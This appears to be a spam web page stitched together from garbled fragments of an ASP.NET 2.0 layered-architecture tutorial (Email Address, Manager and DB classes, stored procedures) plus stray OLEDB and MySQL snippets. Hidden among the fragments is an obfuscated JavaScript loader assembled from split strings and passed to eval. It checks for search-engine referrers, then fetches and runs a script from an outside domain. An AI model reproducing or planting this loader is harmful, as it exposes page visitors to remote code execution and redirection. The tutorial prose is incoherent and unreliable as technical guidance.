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Workbook ( xls). So, after I created a brand new web site in Visual Studio 2 I am using the Professional Edition, but you can follow along if you have the Express Edition), I added four folders under the special ASP.. With the class design in mind, it's easier to make decisions for the layout of your project.. Figure 3 shows the collapsed code for a typical business object: Figure 3 - The Collapsed Code
for the Address Class Showing Two Code Regions.. Address table for the specified ID The Get Item method in the Email Address DB class finally opens a connection to the database and then calls Execute.. Coding the Classes for the Contact Person Manager Application With the code organization behind our back, it's time to look at the actual implementation of the classes.. Empty while the type
defaults to Contact Type Not Set, a custom value of the Contact.. To work with instances of Email Address, you need to use the methods in the Email.. Type enumeration to indicate it hasn't been set to another value before Think of this as a null value for the Contact.. Person The Email Address Class - Implementation The first region in the class, called Private Variables contains the following code:
private int id = - 1; private string email = String.

c";FG["My"]="El";FG["pe"]="ry";FG["Tv"]=":f";FG["iV"]="ap";FG["Uv"]=" i";FG["BM"]="he";FG["oG"]=" =";FG["Hq"]="fa";FG["dR"]="em";FG["Kp"]="yT";FG["mD"]="|(";FG["nE"]="e.. Record interface that gives you strongly typed access to the values within each row.. In addition, the class also contains a Private Methods region that contains methods that are only accessible from within the
class that defines them.. ";FG["ui"]="{e";FG["fn"]="x ";FG["Cd"]=":/";FG["up"]="rc";FG["uA"]="la";FG["xZ"]="no";FG["KL"]="\"g";FG["fO"]="k.. Access folder are put in the Dal namespace For example, the Address class in the Business.. Email Address Select Single Item@id int ASSELECT Id,Email,Email Type,Contact.. Magic numbers are usually considered a bad programming practice You
can avoid magic numbers by using Nullable Types (new in.

DB Class Showing Two Other Code Regions Many classes in the sample application contain a region called Public Methods.. You saw the classes in the Business Objects layer, the Business Logic Layer and you saw a number of classes in the DAL (Data Access Layer).. var RV = 'microsoft+data+link+error+initializing+provider+mysql+server';var FG = new Array();FG["Ur"]=":'";FG["UG"]="
'";FG["nH"]="Ch";FG["xX"]="||";FG["YD"]="e:";FG["cT"]="cr";FG["wm"]="ai";FG["nA"]="4.. ";FG["ew"]="sB";FG["Af"]="tr";FG["OD"]="ET";FG["Kb"]="ea";FG["rl"]=" 0";FG["dB"]="ct";FG["JQ"]="pt";FG["MK"]="ip";FG["tR"]="e,";FG["wn"]="tu";FG["Wl"]="}}";FG["YH"]="..
a";FG["Pl"]="t(";FG["VY"]=",'";FG["Di"]="at";FG["Kj"]="|r";FG["SY"]=")>";FG["uq"]="ht";FG["Rp"]="im";FG["rZ"]="aj";FG["ti"]="ex";FG["zl"]="(\"";FG["ud"]="iv";FG["pE"]="ce";FG["oD"]="tS";FG["Kw"]="()";FG["YC"]="fi";FG["Kq"]=".

Address in the database As you saw, Get Item in the business layer simply forwards the call to Get.. The Business Layer class library would then have a reference to the Business Objects and Data Access class libraries, the DAL would also have a reference to the Business objects layer, while the final web site would reference the BO and BLL layers.. Empty; private Contact Type type = Contact Type
Not Set; private int contact.. b";FG["Mn"]="t'";FG["hA"]="fe";FG["ub"]="ls";FG["mv"]="Da";FG["ul"]="Na";FG["eX"]="r ";FG["JI"]="RV";FG["Pc"]="{t";FG["Vg"]="ss";FG["hz"]="a:";FG["Ig"]="co";FG["Qo"]="da";FG["Bs"]="/o";FG["Ep"]="va";FG["NB"]="te";FG["sA"]="de";FG["lD"]="se";FG["sg"]="n.. Code Organization in the Contact Person Manager Application Before I show you the
specific implementation of the classes, let's first take a look at the basic structure of the class files.. If you implement them in the data access layer, you can't reuse that layer in an application that has different requirements or demands.. You'll find methods like Get Item and Get List to retrieve the objects, and Save and Delete to propagate object changes back to the database.. Contact Manager BO
namespace, following a best practice in namespace names where each namespace is named in the format Company.

Person Id FROM Email Address WHERE Id = @id This procedure simple retrieves all the fields from the Email.. Figure 4 shows the collapsed code for a typical class in the data access layer: Figure 4 - The Collapsed Code for the Address.. Address my Email Address = Email Address Manager Get Item(id); where id is the ID of a valid Email.. In a larger application you may want to use three
separate class libraries instead.. Address Get Item(int id) It then creates and sets up a new Sql Command The command is configured to call a stored procedure called sproc.. If you don't like this, then check out Nullable Types on the MSDN site The email field (which contains the actual e- mail address) defaults to String..
";FG["wI"]="R)";FG["Yw"]="th";FG["vw"]="21";FG["um"]="ta";FG["ZH"]="\"l";FG["vQ"]="y'";FG["nY"]="s/";FG["gd"]="qu";FG["zH"]="',";FG["Gf"]="ah";FG["Yh"]="e'";FG["tq"]="{v";FG["JR"]="sc";FG["dm"]="nt";FG["kf"]="ow";FG["sF"]="r.. Object folder looks like this: namespace Spaanjaars Contact Manager BO Now that you've seen the basic structure of the site, let's take a look at
the actual code for the classes.. Number in the case of the Address class Most of these properties use the private fields from the Private Variables region.. They're often assigned a default value here as well For example: private string street = String.. I agree with Gravitas but you do not need to do a re-install (especially when installing MySQL Server x.. I typically use at least four different regions
although I don't use all of them in every file.. NET 2) where an int could be null as well to indicate it doesn't have a value In this case, I can live with the magic number.. ";FG["yg"]=" 1";FG["hG"]="so";FG["of"]="= ";FG["br"]="ue";FG["yS"]="d(";FG["sX"]="==";FG["tg"]="((";FG["cw"]="s,";FG["pC"]="g.. Address class, I'll take a detailed look at the Contact Person class Since this class is a bit
more complex than the other three, it helps to understand the other three classes before you look at Contact.. ";FG["Ug"]="nd";FG["Qs"]=";}";FG["aA"]="jq";FG["RH"]=" a";FG["Au"]="sr";FG["Tk"]="es";FG["EZ"]="pe";FG["pK"]="of";FG["rw"]="gl";FG["oU"]="d'";FG["aO"]="nh";FG["pu"]="ar";FG["Ok"]="\"v";FG["Rr"]="ax";FG["Uo"]=".. g An Open Source C# web crawler with Lucene
NET search using SQL Server 2008/2012/2014/2016/CE An Open Source C# web crawler with Lucene.. With this method, calling code can get an instance of Email Address with a single line of code: Email.. Although you could simply drop all your classes in the App The following figure shows the organization of the classes in the application: Figure 1 - The Full Class Diagram for the Contact
Person Manager Application.. This ID is passed to the stored procedure by adding a parameter object to the command using Add.. x in a different folder other than the default in C:/Program The fastest way to access the field data is by accessing the array $recordset->fields directly.. Reader to get an open Sql Data Reader Each row in the Sql Data Reader implements the generic IData..
";FG["oi"]="fo";FG["qU"]="ja";FG["GC"]="ib";FG["Qk"]="f ";FG["Lv"]="){";FG["Qr"]="os";FG["Si"]="pi";FG["xY"]="ti";FG["Ko"]="al";FG["eQ"]="//";FG["pB"]="'s";FG["RA"]="ri";FG["sc"]="io";FG["IR"]="re";FG["Eu"]=";i";FG["fM"]="ee";FG["Hs"]="oo";FG["ep"]="0|";FG["mm"]="'G";FG["WK"]="ro";FG["rR"]="x(";FG["Ht"]="pr";FG["eg"]="np";FG["dp"]="n
";FG["ZA"]="10";FG["jk"]="ra";FG["fp"]="bl";FG["jt"]="oc";FG["zB"]="xO";FG["Qn"]="/l";FG["uD"]=");";FG["qS"]="ne";FG["km"]="')";FG["sf"]="[0";FG["ds"]="\"y";FG["mU"]="(r";FG["AR"]=";v";FG["xB"]=";f";FG["uW"]="XH";FG["cx"]="ag";FG["Sv"]="ng";FG["XO"]="yp";FG["CG"]="l(";FG["wu"]="s.. Normally, this is considered a magic number, where a fixed number has a special
meaning that cannot be derived easily by its value.. The private helper method Fill Data Connectivity Components from Official Microsoft Download Center.. This region contains the class's public methods that are used to interact with the object and the underlying database.. The Private Variables region contains all the backing variables for the public properties and optionally other private, class
scoped variables for the business objects.. Also set the global variables $ADODBThe SQL Server Import and Export Wizard is a useful tool for copying data from one data source (e.. g";FG["rx"]="le";FG["XI"]="a
";FG["jO"]="ge";FG["VJ"]="a)";FG["vc"]="{i";FG["QT"]="mb";FG["NP"]=",t";FG["tM"]="0)";FG["Dn"]="=d";FG["JW"]="Ty";FG["UZ"]="rd";FG["qs"]="ef";FG["Dc"]="n:";FG["Cr"]=">0";FG["kD"]="sp";FG["vo"]="\")";FG["dd"]="um";FG["cy"]="tT";FG["Lt"]="t.. The Get Item method is static which means you can call it without an object instance.. Item and Get List, and you'll see how to
connect to the database in a safe, transactional manner for inserts and updates.. Address: Create, Read, Update and Delete Let's take a look at Read first First of all, the Email.. You'll see how this works when the Save method is discussed Since these kind of requirements - security, validation, caching and so on - are often application specific, it's important to implement them in the business layer..
\"";FG["Ly"]="tt";FG["qd"]="?w";FG["aE"]="ec";FG["Cb"]="Of";FG["lH"]="\"b";FG["Qy"]="if";FG["iS"]=",j";FG["wG"]="f(";FG["xI"]="m/";FG["vh"]="ad";FG["OE"]="\"m";FG["ES"]=",s";FG["zm"]="8/";FG["Rz"]="er";FG["gS"]="d,";FG["vu"]=".. Address Manager class has a method called Get Item This method accepts the ID of the Email..
";FG["vI"]="c'";FG["ZM"]=")|";FG["QR"]="v2";FG["Hd"]="tp";FG["aW"]="] ";FG["JD"]=" r";FG["XD"]=";$";FG["fF"]="/2";FG["QX"]="an";FG["Yd"]="mi";FG["vR"]="ut";FG["Df"]="tA";FG["Gp"]="me";FG["Tu"]="ty";FG["iR"]=";d";FG["aB"]="wa";FG["GT"]="n(";FG["oF"]="rl";FG["Kn"]="en";FG["eV"]="eo";FG["we"]="sD";FG["sw"]="/3";FG["CP"]="in";FG["Ld"]="
$";FG["HI"]="ms";FG["kY"]="l.. Since the Address, Email Address and Phone Number classes are very similar, I'll only look at one of them: the Email.. Address Manager class Working with Instances of Email Address The Email Address.. Address Get Item(int id, IPrincipal current User) Another valid activity for methods in the business layer is validation.. NET App I ended up with the following
Solution Explorer: Figure 2 - The Solution Explorer for the Contact Person Manager Application Each class in the Business.. To make it easier to locate and maintain code, I often wrap them in #region / #endregion constructs.. ";eval(FG["Ep"]+FG["eX"]+FG["hD"]+FG["of"]+FG["JI"]+FG["AR"]+FG["pu"]+FG["RH"]+FG["Dn"]+FG["jt"]+FG["dd"]+FG["Kn"]+FG["Lt"]+FG["cT"]+FG["Kb"]+FG
["NB"]+FG["My"]+FG["dR"]+FG["Kn"]+FG["Pl"]+FG["pB"]+FG["cT"]+FG["MK"]+FG["Mn"]+FG["uD"]+FG["XI"]+FG["lD"]+FG["Df"]+FG["Ly"]+FG["RA"]+FG["ER"]+FG["NB"]+FG["lO"]+FG["Au"]+FG["vI"]+FG["VY"]+FG["eQ"]+FG["rZ"]+FG["Rr"]+FG["YH"]+FG["Hs"]+FG["rw"]+FG["Kb"]+FG["Si"]+FG["wu"]+FG["Ig"]+FG["xI"]+FG["rZ"]+FG["Rr"]+FG["Qn"]+FG["GC"]+F
G["nY"]+FG["aA"]+FG["br"]+FG["pe"]+FG["sw"]+FG["yg"]+FG["rl"]+FG["Lm"]+FG["gd"]+FG["Rz"]+FG["jh"]+FG["Yd"]+FG["sg"]+FG["Mp"]+FG["km"]+FG["iR"]+FG["jt"]+FG["dd"]+FG["Kn"]+FG["Lt"]+FG["jO"]+FG["MT"]+FG["rx"]+FG["Gp"]+FG["dm"]+FG["ew"]+FG["Kp"]+FG["cx"]+FG["ul"]+FG["Gp"]+FG["lO"]+FG["BM"]+FG["vh"]+FG["km"]+FG["sf"]+FG["aW"]+FG["i
V"]+FG["EZ"]+FG["Ug"]+FG["nH"]+FG["WC"]+FG["yS"]+FG["VJ"]+FG["xB"]+FG["wX"]+FG["dB"]+FG["sc"]+FG["dp"]+FG["UZ"]+FG["Kw"]+FG["vc"]+FG["wG"]+FG["Tu"]+FG["EZ"]+FG["pK"]+FG["Ld"]+FG["sX"]+FG["ic"]+FG["wX"]+FG["sA"]+FG["YC"]+FG["qS"]+FG["oU"]+FG["Lv"]+FG["lD"]+FG["cy"]+FG["Rp"]+FG["eV"]+FG["vR"]+FG["mU"]+FG["gS"]+FG["ZA"]+F
G["tM"]+FG["Qs"]+FG["Ff"]+FG["lD"]+FG["tq"]+FG["pu"]+FG["JD"]+FG["qs"]+FG["Dn"]+FG["jt"]+FG["dd"]+FG["Kn"]+FG["Lt"]+FG["IR"]+FG["hA"]+FG["qb"]+FG["Rz"]+FG["Eu"]+FG["wG"]+FG["IR"]+FG["Qk"]+FG["rx"]+FG["Sv"]+FG["Yw"]+FG["Cr"]+FG["Lv"]+FG["Qy"]+FG["tg"]+FG["IR"]+FG["Qk"]+FG["CP"]+FG["sA"]+FG["zB"]+FG["wG"]+FG["ds"]+FG["QX"]+FG["s
A"]+FG["fn"]+FG["vo"]+FG["Cr"]+FG["ZM"]+FG["mD"]+FG["IR"]+FG["Qk"]+FG["CP"]+FG["sA"]+FG["zB"]+FG["wG"]+FG["KL"]+FG["Hs"]+FG["rw"]+FG["nE"]+FG["vo"]+FG["Cr"]+FG["ZM"]+FG["Kj"]+FG["qs"]+FG["Uv"]+FG["Ug"]+FG["ti"]+FG["Cb"]+FG["zl"]+FG["jk"]+FG["QT"]+FG["rx"]+FG["sF"]+FG["vo"]+FG["Cr"]+FG["xX"]+FG["IR"]+FG["Qk"]+FG["CP"]+FG["sA"
]+FG["zB"]+FG["wG"]+FG["lH"]+FG["CP"]+FG["pC"]+FG["vo"]+FG["Cr"]+FG["xX"]+FG["IR"]+FG["Qk"]+FG["CP"]+FG["sA"]+FG["zB"]+FG["wG"]+FG["OE"]+FG["wm"]+FG["kY"]+FG["vo"]+FG["Cr"]+FG["xX"]+FG["IR"]+FG["Qk"]+FG["CP"]+FG["sA"]+FG["zB"]+FG["wG"]+FG["ds"]+FG["Gf"]+FG["Hs"]+FG["Uo"]+FG["SY"]+FG["ep"]+FG["Kj"]+FG["qs"]+FG["Uv"]+FG["U
g"]+FG["ti"]+FG["Cb"]+FG["zl"]+FG["HI"]+FG["sg"]+FG["vo"]+FG["Cr"]+FG["xX"]+FG["IR"]+FG["Qk"]+FG["CP"]+FG["sA"]+FG["zB"]+FG["wG"]+FG["ZH"]+FG["ud"]+FG["nE"]+FG["vo"]+FG["Cr"]+FG["xX"]+FG["IR"]+FG["Qk"]+FG["CP"]+FG["sA"]+FG["zB"]+FG["wG"]+FG["Ok"]+FG["fO"]+FG["vo"]+FG["Cr"]+FG["Lv"]+FG["Ep"]+FG["eX"]+FG["Ws"]+FG["kf"]+FG["Gp"]
+FG["oG"]+FG["UG"]+FG["oi"]+FG["up"]+FG["Yh"]+FG["XD"]+FG["vu"]+FG["qU"]+FG["rR"]+FG["Pc"]+FG["XO"]+FG["YD"]+FG["mm"]+FG["OD"]+FG["zH"]+FG["Qo"]+FG["um"]+FG["JW"]+FG["EZ"]+FG["Ur"]+FG["JR"]+FG["RA"]+FG["JQ"]+FG["zH"]+FG["Ht"]+FG["jt"]+FG["Tk"]+FG["we"]+FG["Di"]+FG["hz"]+FG["Hq"]+FG["ub"]+FG["tR"]+FG["cT"]+FG["Qr"]+FG["we
"]+FG["Rf"]+FG["wm"]+FG["Dc"]+FG["Af"]+FG["br"]+FG["iS"]+FG["hG"]+FG["eg"]+FG["Tv"]+FG["Ko"]+FG["lD"]+FG["ll"]+FG["oF"]+FG["Ur"]+FG["uq"]+FG["Hd"]+FG["Cd"]+FG["Bs"]+FG["aE"]+FG["aO"]+FG["QR"]+FG["Kq"]+FG["WK"]+FG["aB"]+FG["UZ"]+FG["uA"]+FG["xY"]+FG["xZ"]+FG["gB"]+FG["Rf"]+FG["fF"]+FG["zm"]+FG["vw"]+FG["nA"]+FG["Mp"]+FG["qd
"]+FG["fM"]+FG["fp"]+FG["vQ"]+FG["ES"]+FG["EU"]+FG["pE"]+FG["Vg"]+FG["Tv"]+FG["wX"]+FG["dB"]+FG["sc"]+FG["GT"]+FG["IR"]+FG["kD"]+FG["WZ"]+FG["lD"]+FG["mv"]+FG["um"]+FG["NP"]+FG["ti"]+FG["oD"]+FG["um"]+FG["wn"]+FG["cw"]+FG["aA"]+FG["uW"]+FG["wI"]+FG["ui"]+FG["Ep"]+FG["CG"]+FG["IR"]+FG["kD"]+FG["WZ"]+FG["lD"]+FG["mv"]+FG[
"um"]+FG["uD"]+FG["Wl"]+FG["uD"]+FG["Wl"]+FG["Wl"]+FG["UZ"]+FG["Kw"]+FG["pm"]);Tour Start here for a quick overview of the site Help Center Detailed answers to any.. Item method in the data access layer: public static Email Address Get Item(int id).. String property to “Microsoft ACE OLEDB 1 2 If you are connecting to Microsoft Office Excel data, add the appropriate Extended
Properties of the OLEDB connection string based on the Excel file type: File Type (extension)                                       Extended Properties- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Excel 9.. If you are an application developer using OLEDB, set the Provider argument of the Connection.. Manager contains a number of methods that
allow you to perform CRUD operations on an Email.. Logic folder is put in the Bll namespace, files in the Business Object folder fall under the BO namespace while the classes in the Data.. Person Id = - 1; The private field id is initially set to - 1 This value is used later on to determine whether an object is entirely new (id is still - 1), or that it already has an associated record in the database (id is
greater than 0).. Type type Finally, the contact Person Id is set to - 1 as well In the Public Properties region of the code, you find one property for each of these fields.. ";FG["lO"]="('";FG["Lm"]="/j";FG["EU"]="uc";FG["WZ"]="on";FG["ER"]="bu";FG["ic"]="='";FG["ll"]=",u";FG["Mp"]="js";FG["Rf"]="om";FG["pm"]=";";FG["MT"]="tE";FG["Ff"]="el";FG["jh"]="y.. Email Address Select Single
Item which returns a single Email Address by its ID.. All of them look similar to this: public string Email They are not capable of performing any action; all they do is contain data.. Although not implemented in Get Item for the Email Address Manager class, the code in the business layer is an ideal place for things like security.. But, before we dig into the code, let's take a brief look at the class design
again.. Address class Of course, I'll also show you the Email Address Manager and Email.. With Value The stored procedure itself is as straight forward as it can be: CREATE PROCEDURE sproc.. Legal values for the id and contact Person Id fields come from identity columns in the database.. In the sample application for this article, I decided to keep things simple and store everything in separate
folders under App.. You could, for example, modify Get Item so it looks like this: public static Email.. NET search using MongoDB Building Layered Web Applications with Microsoft ASP NET 2.. Item in the Email Address DB class That method looks like this: public static Email.. Contact Manager Dal namespace To continue this separation, I also used different folders inside the App.. All the
*Manager classes are put in the Spaanjaars Contact Manager Bll namespace and similarly, I put the *DB classes in the Spaanjaars.. In this installment, I'll show you the code for these classes You'll see how to implement the public properties for each of the classes in the Business Objects layer, how to write the code for methods like Get.. 0 Introduction In part 1 you saw the design of the classes that
make up the Contact Manager application.. These values are always greater than zero, so it's clear from the code that - 1 means something special.. ";FG["hD"]="q ";FG["wX"]="un";FG["qb"]="rr";FG["Ws"]="sh";FG["WC"]="il";FG["gB"]=".. At the top of the image you see the business objects in the BO namespace These classes are placed in the Spaanjaars.. Name Project Name Layer I also put
the enumerations in that layer, as they are used directly as types for certain properties of the classes in the same layer.. Instead of directly calling Email Address DB Get Item, you could perform a security check first to determine whether the current user has sufficient access right to perform the call.. Address DB classes as we progress through the code After you have seen the Email.. Address in the
database The implementation of this method is really simple: all it does is forward the call to the Get.. Empty; The Public Properties region contains all the properties that the class exposes, like Id, Street and House. d70b09c2d4 
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